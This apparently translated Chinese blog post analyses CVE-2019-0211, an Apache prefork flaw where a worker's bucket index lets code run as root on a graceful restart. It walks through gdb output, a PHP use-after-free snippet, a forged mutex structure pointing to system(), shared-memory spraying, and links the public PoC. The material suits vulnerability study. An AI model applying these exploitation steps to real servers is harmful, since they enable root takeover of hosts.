php 以地址区域为权限,CVE-2019-0211 Apache提权漏洞分析

176169

简介

从2.4.17(2015年10月9日)到2.4.38(2019年4月1日)的Apache HTTP版本中,存在着一个可以通过数组越界调用任意构造函数的提权漏洞。这个漏洞可以通过重新启动Apache服务(apache2ctl graceful)来触发。在Linux默认配置中,每天会在早上6点25分自动运行一次该命令,从而重启日志文件的处理任务。

该漏洞涉及到三个函数mod_prefork,mod_worker和mod_event。后面的漏洞描述,分析和触发都主要从mod_prefork展开。

漏洞描述

在MPM prefork模式下,服务器主进程会运行在root权限下,管理一个单线程的进程池。低权限(www-data)的Worker进程处理HTTP请求头。Apache通过共享包含有scoreboard(包含诸如PID、请求等Worker进程信息)的共享内存空间(SHM)来处理worker进程返回的信息。每一个Worker进程都对应一个关联自身PID的process_score结构,拥有着对SHM的读写权限。

ap_scoreboard_image:共享内存空间的指针

(gdb) p *ap_scoreboard_image

$3 = {

global = 0x7f4a9323e008,

parent = 0x7f4a9323e020,

servers = 0x55835eddea78

}

(gdb) p ap_scoreboard_image->servers[0]

$5 = (worker_score *) 0x7f4a93240820

PID19447的Worker进程的共享内存空间

(gdb) p ap_scoreboard_image->parent[0]

$6 = {

pid = 19447,

generation = 0,

quiescing = 0 '00',

not_accepting = 0 '00',

connections = 0,

write_completion = 0,

lingering_close = 0,

keep_alive = 0,

suspended = 0,

bucket = 0

}

(gdb) ptype *ap_scoreboard_image->parent

type = struct process_score {

pid_t pid;

ap_generation_t generation;

char quiescing;

char not_accepting;

apr_uint32_t connections;

apr_uint32_t write_completion;

apr_uint32_t lingering_close;

apr_uint32_t keep_alive;

apr_uint32_t suspended;

int bucket;

}

当Apache重启的时候,它的主进程会关闭旧的Worker进程并生成新的来替换掉。在这里主进程会用all_bucket这一函数来使用所有旧的Worker进程占用的bucket(内存空间)值。

all_buckets

(gdb) p $index = ap_scoreboard_image->parent[0]->bucket

(gdb) p all_buckets[$index]

$7 = {

pod = 0x7f19db2c7408,

listeners = 0x7f19db35e9d0,

mutex = 0x7f19db2c7550

}

(gdb) ptype all_buckets[$index]

type = struct prefork_child_bucket {

ap_pod_t *pod;

ap_listen_rec *listeners;

apr_proc_mutex_t *mutex;

}

(gdb) ptype apr_proc_mutex_t

apr_proc_mutex_t {

apr_pool_t *pool;

const apr_proc_mutex_unix_lock_methods_t *meth;

int curr_locked;

char *fname;

...

}

(gdb) ptype apr_proc_mutex_unix_lock_methods_t

apr_proc_mutex_unix_lock_methods_t {

...

apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);

...

}

这里没有进行边界检查,也就是说任意一个Worker进程都可以改变自身bucket的值来指向共享内存区域,从而在重启的时候控制prefork_child_bucket函数的结构。最终在权限恢复之前,通过mutex->meth->child_init()这一调用过程,实现暂时以root权限调用函数。

存在风险的代码区域

理一遍server/mpm/prefork/prefork.c来看下是什么地方导致了这一漏洞。

(译者注:L数字代表该文件中对应的代码行数)

一个恶意的Worker进程改变自身共享内存中自身的bucket的值,从而指向共享内存空间。

在第二天的早上6.25分,logrotate请求Apache重启一次服务。

之后Apache主进程会关闭第一个Worker进程,生成新的Worker级才能哼。

这个过程是通过发送SIGUSR1信号给Worker进程来实现的,Worker进程收到信号后会立刻退出。

然后调用prefork_run()(L853)函数来生成新的Worker进程。由于存在retained->mpm->was_graceful这一过程,Worker进程不会立刻重启。

在进入主循环(L933)并监控旧的Worker进程的PID,可以看到旧的Worker进程关闭后,ap_wait_or_timeout()函数会返回它PID的值(L940)

process_score的index值以及PID值会存储在child_slot(L948)中

如果删除旧的Worker进程没有报错(L969)的话,make_child()函数会调用ap_get_scoreboard_process(child_slot)->buctet的值作为参数(L985),正如之前提到的一样,bucket的值已经被恶意Worker给修改了。

make_child()函数会fork(L671)主进程来生成新的子进程。

OOB会读取(L691)发生的过程,导致my_bucket函数遭到攻击者的控制。

child_main()函数会调用(L722),相比(L433)处更快调用函数。

SAFE_ACCEPT()只有在Apache监听两个或更多的端口时执行,一般来说服务器通常监听着HTTP(80)和HTTPS(443)

假设成功执行,会调用apr_proc_mutex_child_init()函数,从而通过(*mutex)->meth->child_init(mutex, pool, fname)的调用过程来控制互斥锁。

在执行完(L446)后权限恢复到正常的低权限。

利用过程:

利用过程包括四个步骤:1、获取Worker进程的读写权限.2、向共享内存空间(SHM)写入一个假的prefork_child_bucket结构。3、将all_bucket[bucket]指向结构。4、等待构造的函数被调用。

这一过程的好处:

始终没有创建过主进程,所有过程都映射在访问/proc/self/maps(ASLR/PIE保护无效)中,当一个Worker进程关闭或报错时,它会自动由主进程重新创建,所以不会有DOS Apache服务器的风险。

缺点:

PHP不允许对/proc/self/mem的读写,也就是说我们没法直接编辑共享内存空间,只能等待重启的时候调用all_bucket函数。

1.获取Worker进程的读写权限

PHP UAF的0day漏洞

由于mod_prefork函数经常和mod_php函数一起使用,因此可以从CVE-2019-6977这里下手实现漏洞的利用。我在写exp的过程中发现PHP7.X下的UAF 0day漏洞在PHP5.X中也能复现。

PHP UAF

class X extends DateInterval implements JsonSerializable

{

public function jsonSerialize()

{

global $y, $p;

unset($y[0]);

$p = $this->y;

return $this;

}

}

function get_aslr()

{

global $p, $y;

$p = 0;

$y = [new X('PT1S')];

json_encode([1234 => &$y]);

print("ADDRESS: 0x" . dechex($p) . "n");

return $p;

}

get_aslr();

这里有一个PHP对象的UAF:即使我们无法设置$y[0](X的一个实例),我们也可以利用$this。

UAF的读写权限

我们想要实现两个目标:读取内存地址来找到all_buckets的位置,修改SHM来改变bucket的值,从而加上我们自己的结构。

好在PHP的堆正好在这两片地址区域的前面。

PHP堆的内存地址,ap_scoreboard_image->*和all_buckets

root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p

7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so

(gdb) p *ap_scoreboard_image

$14 = {

global = 0x7f4a9323e008,

parent = 0x7f4a9323e020,

servers = 0x55835eddea78

}

(gdb) p all_buckets

$15 = (prefork_child_bucket *) 0x7f4a9336b3f0

考虑到我们触发了PHP对象中的UAF,对象中的任意属性都属于UAF漏洞的范围。我们可以将zend_object UAF改为zend_string,从而获得一个zend_string结构。

(gdb) ptype zend_string

type = struct _zend_string {

zend_refcounted_h gc;

zend_ulong h;

size_t len;

char val[1];

}

len属性包括了字符串的长度,通过增加它,我们可以读写之后的内存空间,也就是说能访问到我们感兴趣的两个内存空间:SHM和Apache的all_buckets

找到bucket的index值和all_bucket

我们需要改变ap_scoreboard_image->parent[worker_id]->bucket来获得特定的worker_id。好在这个结构每次都在共享内存空间的头部位置,很方便我们去定位。

共享内存空间和目标process_socre结构

root@apaubuntu:~# cat /proc/6318/maps | grep rw-s

7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052                      /dev/zero (deleted)

(gdb) p &ap_scoreboard_image->parent[0]

$18 = (process_score *) 0x7f4a9323e020

(gdb) p &ap_scoreboard_image->parent[1]

$19 = (process_score *) 0x7f4a9323e044

要定位all_bucket,我们需要充分利用prefork_child_bucket结构,所以我们需要:

导入bucket值的结构

prefork_child_bucket {

ap_pod_t *pod;

ap_listen_rec *listeners;

apr_proc_mutex_t *mutex;

}

apr_proc_mutex_t {

apr_pool_t *pool;

const apr_proc_mutex_unix_lock_methods_t *meth;

int curr_locked;

char *fname;

...

}

apr_proc_mutex_unix_lock_methods_t {

unsigned int flags;

apr_status_t (*create)(apr_proc_mutex_t *, const char *);

apr_status_t (*acquire)(apr_proc_mutex_t *);

apr_status_t (*tryacquire)(apr_proc_mutex_t *);

apr_status_t (*release)(apr_proc_mutex_t *);

apr_status_t (*cleanup)(void *);

apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);

apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);

apr_lockmech_e mech;

const char *name;

}

all_buckets[0]->mutex会定位在同一个all_buckets[0]的内存区域,考虑到meth是一个静态结构,它会定位到libapr的data上,又因为meth指向了libapr的函数,所以每一个函数的指针都在libapr的text内。

到这里我们通过/proc/self/maps有了整片内存区域的地址信息,我们可以通过修改Apache内存的指针来找到all_buckets[0]对应的结构位置。

和我之前说的一样,all_bucket的地址在每次重启都会发生变化。所以说每次触发我们的exp,all_buckets的地址都会发生变化。之后我们会研究如何解决这问题。

2.向共享内存空间(SHM)写入假的prefork_child_bucket结构

实现函数的调用

如下是构造的调用函数的过程:

bucket_id = ap_scoreboard_image->parent[id]->bucket

my_bucket = all_buckets[bucket_id]

mutex = &my_bucket->mutex

apr_proc_mutex_child_init(mutex)

(*mutex)->meth->child_init(mutex, pool, fname)

176169

调用适合的函数

要实现漏洞利用,我们需要让(*mutex)->meth->child_init指向zend_object_std_dtor(zend_object *object),也就是下面的利用过程:

mutex = &my_bucket->mutex

[object = mutex]

zend_object_std_dtor(object)

ht = object->properties

zend_array_destroy(ht)

zend_hash_destroy(ht)

val = &ht->arData[0]->val

ht->pDestructor(val)

pDestructor指向system, &ht->arData[0]->val是一个字符串.

176169

3.令all_bucket[bucket]指向结构

问题和解决思路

到这里为止,如果all_bucket的地址每次重启不会改变,那么我们的利用过程就完成了。

通过PHP的堆获取内存的读写权限

通过结构匹配来找到all_bucket

找到SHM中需要的结构

改变SHM中的process_score.bucket,使得all_bucket[bucket]->mutex指向我们的paylaod

但考虑到all_bucket地址的变化,我们还需要做两件事情来提高我们的执行成功率:喷射SHM内存区域,用上每一个PID对应的process_socre结构。

喷射共享的内存区域

如果all_bucket的新地址距离旧的地址不远,my_bucket会指向最近的结构,从而喷射获得整个SHM中未被使用的空间,而不是仅仅获得一个指向SHM的指针。这里存在一个问题,结构在zend_object中也使用着,所以其中有(5*8=)40位属于zend_object.properties,导致用一个大的结构来占用这个小的空间也不行。所以我们采用两个结构apr_proc_mutex_t和zend_array占用剩余的共享内存,令prefork_child_bucket.mutex和zend_object.properties指向同一个地址,来解决这一问题。现在如果all_bucket在原始地址不远的地方,my_bucket就会喷射到这一范围。

176169

利用所有的process_score

每一个Apache Worker进程都会有一个关联的process_score结构和对应的bucket的index值。无需改变process_score.bucket值,我们就能改变他们占用的内存范围,比如说:

ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00

ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00

ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000

这意味着我们的成功率随着Apache Worker进程数量的增多而变大。每次重新生成Worker进程的时候,都只有一个Worker进程会获得buckek编号,但考虑到其他Worker进程会报错而立刻重新生成,因此这不是什么问题。

复现成功率

不同的Apache服务器有着不同数量的Worker进程,有更多的Worker进程意味着我们可以用更少的内存来喷射互斥锁的地址,也就是说可以获取到更多的all_buckets函数的index信息。因此越多的Worker进程数量能够提高我们测试的成功率。在我的测试服务器(默认使用了4个Worker进程)上有80%的成功率。

如果exp触发失败的话,它会在第二天重启的时候重新运行,Apache的错误日志中不会包含Worker进程的错误信息。

4.等到早上6.25查看exp是否成功触发

这里只需要等待就好了。

漏洞时间线

2019-02-25收到漏洞致谢,Apache安全团队正在修复漏洞。

2019-03-07 Apache安全团队发送修复补丁进行测试,并提交CVE编号。

2019-03-10补丁测试通过。

2019-04-01发布新的Apache HTTP version 2.4.39版本。

Poc地址:

https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值